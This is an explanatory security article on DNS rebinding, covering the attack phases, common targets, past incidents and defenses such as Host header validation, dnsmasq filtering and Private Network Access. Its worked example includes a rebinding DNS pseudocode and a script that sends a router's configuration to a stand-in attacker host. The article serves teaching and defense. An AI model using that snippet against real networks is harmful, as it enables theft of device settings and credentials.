What is DNS Rebinding?
DNS rebinding is a class of attack that exploits the gap between how DNS names are resolved and how web browsers enforce security boundaries. By manipulating DNS responses, an attacker can make a victim's browser send requests to internal network services — routers, IoT devices, cloud metadata endpoints, databases — that should never be reachable from the public internet. The attack requires no special software on the victim's machine, no malware, and no phishing for credentials. The victim just needs to visit a webpage.
DNS rebinding has been known since at least 1996, but it remains relevant today because it targets a fundamental architectural assumption: that a DNS name maps consistently to a single network location. When that assumption is violated, the browser's entire security model can be subverted.
The Same-Origin Policy and Why It Matters
Browsers enforce a security boundary called the same-origin policy (SOP). An origin is defined by the tuple of scheme (http/https), host (domain name), and port. JavaScript running on https://attacker.com cannot read responses from https://bank.com because they have different origins. This prevents a malicious page from reading your email, accessing your bank account, or exfiltrating data from other sites you are logged into.
Critically, the same-origin policy is enforced based on the hostname, not the IP address. The browser does not track which IP a hostname resolved to — it only checks whether the hostname in the URL matches. This design decision is what makes DNS rebinding possible.
How DNS Resolution Creates the Gap
When your browser navigates to http://evil.attacker.com, it performs a DNS lookup to find the IP address for that hostname. The DNS response includes a TTL (Time To Live) value that tells the resolver how long to cache the result. After the TTL expires, the browser (or OS resolver) must query DNS again for the next request to that hostname.
Here is the critical insight: nothing prevents the DNS server from returning a different IP address the second time. The hostname is the same, so the browser considers it the same origin. But the underlying IP — and therefore the actual server being contacted — has changed. The attacker controls the DNS server for their domain and can return whatever IP address they want, whenever they want.
The DNS Rebinding Attack Flow
A DNS rebinding attack proceeds in distinct phases. The attacker controls a domain (say evil.attacker.com) and runs both a malicious web server and a custom authoritative DNS server for that domain.
Phase 1: Initial DNS Resolution
The victim visits http://evil.attacker.com. The browser queries DNS. The attacker's DNS server responds with the attacker's own public IP address (e.g., 6.6.6.6) and sets a very short TTL — typically 0 or 1 second. This means the cached DNS entry will expire almost immediately.
Phase 2: Serve the Malicious Page
The browser connects to 6.6.6.6 (the attacker's web server) and loads a page containing JavaScript. This script is designed to wait a short period — long enough for the DNS cache entry to expire — and then make a new request back to evil.attacker.com.
Phase 3: DNS Rebinding
When the JavaScript makes its delayed request, the browser needs to resolve evil.attacker.com again because the TTL has expired. This time, the attacker's DNS server returns a different IP address — an internal IP like 192.168.1.1 (a home router), 169.254.169.254 (cloud metadata service), or 127.0.0.1 (the victim's own machine).
Phase 4: Access Internal Services
The browser sends the request to the internal IP address. Crucially, it still considers this the same origin (evil.attacker.com), so the same-origin policy does not block the JavaScript from reading the response. The attacker's script can now interact with the internal service as if it were the attacker's own server.
Phase 5: Exfiltrate Data
The JavaScript reads the response from the internal service and sends it back to the attacker's server (via a request to a different attacker-controlled domain, or by encoding the data in a URL parameter to a tracking pixel).
TTL Manipulation: The Key Enabler
The entire attack hinges on the DNS TTL. The attacker needs the browser to re-resolve the hostname after the initial page load. There are several TTL strategies:
- Zero TTL — The attacker sets TTL=0, requesting that the resolver never cache the record. Many resolvers honor this, though some enforce a minimum TTL (30 or 60 seconds).
- Very short TTL (1-5 seconds) — More reliable than TTL=0 because some resolvers clamp zero to a minimum value. The attacker's JavaScript simply waits a few seconds before making the second request.
- Multiple A records — The attacker returns both the attacker IP and the target internal IP in the same DNS response. The browser may try the first IP, fail (because the attacker's server stops responding), and fall back to the second IP. This variant does not even require TTL expiry.
Some attackers combine strategies: return a short-TTL response initially, then use JavaScript to rapidly open connections until one lands on the internal address. Tools like Singularity of Origin and rbndr automate this process, cycling through DNS responses to maximize the chance of a successful rebind.
What Attackers Can Target
DNS rebinding is dangerous because most internal network services were designed with the assumption that only trusted users on the local network would access them. They often lack authentication entirely or use weak defaults.
Home Routers
Most consumer routers have web-based admin panels on 192.168.1.1 or 192.168.0.1. Many ship with default credentials (admin/admin) or no authentication for local requests. An attacker can use DNS rebinding to access the admin panel, change DNS settings (redirecting all the victim's traffic), modify firewall rules, enable remote management, or update firmware with a backdoored version.
IoT Devices
Smart home devices — cameras, thermostats, smart speakers, NAS devices — typically run HTTP APIs on the local network with minimal or no authentication. In 2018, researchers from Princeton demonstrated DNS rebinding attacks against Google Home, Chromecast, Roku, Sonos, and smart thermostats, accessing device APIs to extract location data, control playback, and enumerate the local network.
Cloud Metadata Services
Cloud providers like AWS, GCP, and Azure expose instance metadata services at the link-local address 169.254.169.254. These services return sensitive data including temporary IAM credentials, API keys, and instance identity tokens. A DNS rebinding attack against a web application running in the cloud can extract these credentials, potentially granting the attacker full access to the cloud account. This is closely related to SSRF (Server-Side Request Forgery), where similar metadata extraction occurs via server-side code rather than client-side JavaScript.
Development Servers
Developers frequently run local services on 127.0.0.1 or localhost — database admin panels, debugging interfaces, API servers, container orchestration dashboards. These services are often configured without authentication because they are "only accessible locally." DNS rebinding shatters that assumption.
Internal Corporate Services
Enterprise networks host internal wikis, monitoring dashboards, CI/CD systems, and management consoles. DNS rebinding can reach any HTTP service on the internal network, potentially bypassing VPNs and firewalls that protect against external access.
A Concrete Attack Example
Consider a home network where the router is at 192.168.1.1 with the default admin interface. The attacker sets up their infrastructure:
# Attacker's DNS server (simplified pseudocode)
request_count = 0
def handle_dns_query(domain):
if domain == "evil.attacker.com":
request_count += 1
if request_count == 1:
return A_record("6.6.6.6", ttl=1) # Attacker's server
else:
return A_record("192.168.1.1", ttl=1) # Victim's routerThe attacker's web page at 6.6.6.6 contains:
<script>
// Wait for DNS cache to expire
setTimeout(async () => {
// This request goes to 192.168.1.1 but browser
// sees it as same-origin (evil.attacker.com)
const resp = await fetch('http://evil.attacker.com/admin/config');
const data = await resp.text();
// Exfiltrate the router's configuration
navigator.sendBeacon('https://collect.attacker.com/steal',
JSON.stringify({ config: data }));
}, 3000);
</script>The victim visits the page, waits three seconds, and their router's admin configuration is silently exfiltrated. If the router admin panel allows configuration changes via POST requests, the attacker can also modify the router's settings — changing DNS servers, opening ports, or disabling the firewall.
DNS Rebinding vs SSRF
DNS rebinding and SSRF (Server-Side Request Forgery) are related attacks that both exploit DNS to reach internal services, but they operate from different vantage points:
In DNS rebinding, the attacker tricks the victim's browser into sending requests to the victim's local network. In SSRF, the attacker tricks a remote server into sending requests to the server's own internal network. Both can reach cloud metadata at 169.254.169.254, but from different positions. Some sophisticated attacks combine both: an SSRF vulnerability that fetches a URL controlled by the attacker, where DNS rebinding redirects the server's request to an internal address.
Real-World DNS Rebinding Incidents
Google Home and Chromecast (2018)
Security researcher Craig Young demonstrated that Google Home speakers and Chromecast devices were vulnerable to DNS rebinding. The attack could extract the precise physical location of the device by querying its local API for nearby Wi-Fi networks and correlating them with Google's geolocation database. Google patched the vulnerability by adding authentication to the local API.
Blizzard Game Client (2018)
Blizzard's game launcher ran a local JSON-RPC service on 127.0.0.1:1120 with no authentication. Researcher Tavis Ormandy discovered that DNS rebinding could access this service, allowing an attacker to execute arbitrary commands on the player's machine through the game client's update mechanism.
Transmission BitTorrent Client (2018)
The Transmission BitTorrent client's web interface was accessible on 127.0.0.1:9091. A DNS rebinding attack could exploit the JSON-RPC API to change the download directory and add new torrents — effectively writing arbitrary files to the victim's system. The attack was demonstrated by Google Project Zero.
Ethereum Clients (2018)
Ethereum node software (Geth, Parity) exposed JSON-RPC interfaces on localhost for wallet management. DNS rebinding attacks could access these interfaces to steal cryptocurrency by initiating unauthorized transactions. This led to millions of dollars in losses across multiple incidents.
AWS Metadata Exfiltration
Multiple reports have documented DNS rebinding being used to extract AWS credentials from EC2 instances via the metadata service at 169.254.169.254. The extracted IAM credentials can then be used to access S3 buckets, databases, and other AWS services. AWS responded by introducing IMDSv2, which requires a PUT request with a token, making simple GET-based DNS rebinding ineffective.
Defenses Against DNS Rebinding
Defending against DNS rebinding requires action at multiple layers — no single countermeasure is sufficient.
DNS Pinning (Browser-Side)
DNS pinning means the browser locks a hostname to the IP address from its first resolution for the duration of the browsing session, regardless of TTL. Modern browsers implement partial DNS pinning: they cache resolved IPs for at least 60 seconds and may pin for the lifetime of an open connection. However, DNS pinning is intentionally imperfect — overly aggressive pinning breaks legitimate use cases like failover and load balancing.
Host Header Validation (Application-Side)
The most effective server-side defense is validating the Host HTTP header. When a browser makes a request via DNS rebinding, the Host header contains the attacker's domain (e.g., evil.attacker.com), not the expected hostname (e.g., localhost or my-router.local). Services should reject requests where the Host header does not match an expected value.
# Example: Express.js middleware to validate Host header
app.use((req, res, next) => {
const allowed = ['localhost', '127.0.0.1', 'my-app.local'];
const host = req.headers.host?.split(':')[0];
if (!allowed.includes(host)) {
return res.status(403).send('Forbidden');
}
next();
});This is why well-configured web servers like Nginx and Apache return a 444 or 400 for requests with unrecognized Host headers. If your router's admin panel checked the Host header, DNS rebinding would fail because the header would say evil.attacker.com instead of 192.168.1.1.
DNS-Level Filtering
DNS resolvers can filter responses that contain private IP addresses (RFC 1918 addresses, loopback, link-local) when the query came from an external domain. This is implemented in tools like dnsmasq with the --stop-dns-rebind flag and in enterprise DNS solutions. The resolver simply drops any DNS response that maps a public domain to a private IP.
# dnsmasq configuration to block DNS rebinding
stop-dns-rebind
rebind-localhost-ok # Optional: allow localhost for devHTTPS and TLS Certificate Validation
If the internal service uses HTTPS, DNS rebinding becomes much harder. When the browser connects to the internal IP, the TLS certificate will not match the attacker's domain. The browser will reject the connection with a certificate error. This is why the vast majority of DNS rebinding attacks target HTTP (non-TLS) services. However, many internal services run on plain HTTP precisely because they are "only" on the local network — which is the exact assumption DNS rebinding exploits.
Network Segmentation
Placing IoT devices, guest networks, and management interfaces on separate VLANs with firewall rules between them limits the blast radius of DNS rebinding. Even if the attack succeeds, it can only reach services on the same network segment as the victim's device.
Authentication Everywhere
No service — even one only accessible on localhost — should be accessible without authentication. If your router's admin panel requires a strong password, DNS rebinding can reach it but cannot authenticate to it. The attack downgrades from "full compromise" to "information leak" (and even that is limited if authenticated endpoints are the only ones returning sensitive data).
Browser Mitigations
Browsers have implemented several countermeasures, though none are complete solutions on their own:
DNS Cache Minimum TTL
Most modern browsers enforce a minimum DNS cache time, typically 60 seconds, regardless of the TTL in the DNS response. This slows down DNS rebinding but does not prevent it — the attacker's JavaScript simply waits longer before attempting the second request.
Private Network Access (PNA)
The Private Network Access specification (formerly CORS-RFC1918) is the most significant browser-side defense. It requires that when a public website attempts to access a private IP address, the browser first sends a CORS preflight request to the target. The internal service must explicitly opt in by returning the appropriate CORS headers. Since most internal services do not return these headers, the request is blocked.
Chrome has been gradually rolling out Private Network Access checks since Chrome 94 (2021). As of 2025, these checks block many DNS rebinding scenarios in Chromium-based browsers, though the specification is still evolving and not all browsers enforce it fully.
Secure Context Restrictions
Browsers increasingly restrict powerful APIs (like WebRTC, geolocation, and service workers) to secure contexts (HTTPS). Since DNS rebinding primarily targets HTTP services, the attack cannot leverage these APIs. However, basic fetch and XMLHttpRequest still work over HTTP.
How DNS Rebinding Relates to Internet Routing
DNS rebinding exploits the gap between two fundamental internet systems: DNS (name resolution) and IP routing. When a DNS response points to a private IP address, no BGP routing is involved — the traffic stays within the victim's local network. Private address ranges like 192.168.0.0/16, 10.0.0.0/8, and 172.16.0.0/12 are never announced in BGP routing tables because they are non-routable by design (as you can verify by looking them up — 192.168.1.1 has no BGP route).
This is actually what makes the attack possible: private addresses exist in a routing blind spot. BGP looking glasses and network monitoring tools cannot observe traffic to private addresses because it never crosses an autonomous system boundary. The traffic goes from the victim's browser directly to a device on their local subnet, invisible to the wider internet's routing infrastructure.
Similarly, the link-local address 169.254.169.254 used by cloud metadata services is never routed via BGP — it exists only within the cloud provider's virtual network fabric. This makes both DNS rebinding and SSRF attacks against metadata services invisible to external routing observation.
Testing and Detection
If you run services on your local network, you can test for DNS rebinding vulnerability using these tools:
- Singularity of Origin (NCC Group) — A complete DNS rebinding attack platform for testing. It includes a DNS server, HTTP server, and payloads for common targets.
- rbndr.us — A public DNS rebinding service that alternates between two IPs of your choosing, useful for quick proof-of-concept tests.
- dnsrebind.io — Another public rebinding DNS service with a web interface.
To detect DNS rebinding attempts on your network, monitor DNS query logs for domains that resolve to private IP addresses. Any external domain resolving to 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, or 169.254.0.0/16 is suspicious and may indicate an active attack or misconfiguration.
The Fundamental Lesson
DNS rebinding reveals a deep truth about network security: network location is not a security boundary. The assumption that "if a request comes from the local network, it is trusted" has been broken. Any service accessible over HTTP without authentication is potentially accessible to any website the user visits, regardless of firewalls, NATs, or VPNs.
The defenses that matter most are the ones that do not rely on network location: authentication, Host header validation, and HTTPS. These work regardless of how the request arrived — whether from a legitimate local user, a DNS rebinding attack, or a compromised device on the same network.
To see how DNS and routing interact in practice, try looking up the DNS records and BGP routes for public DNS resolvers that protect against rebinding: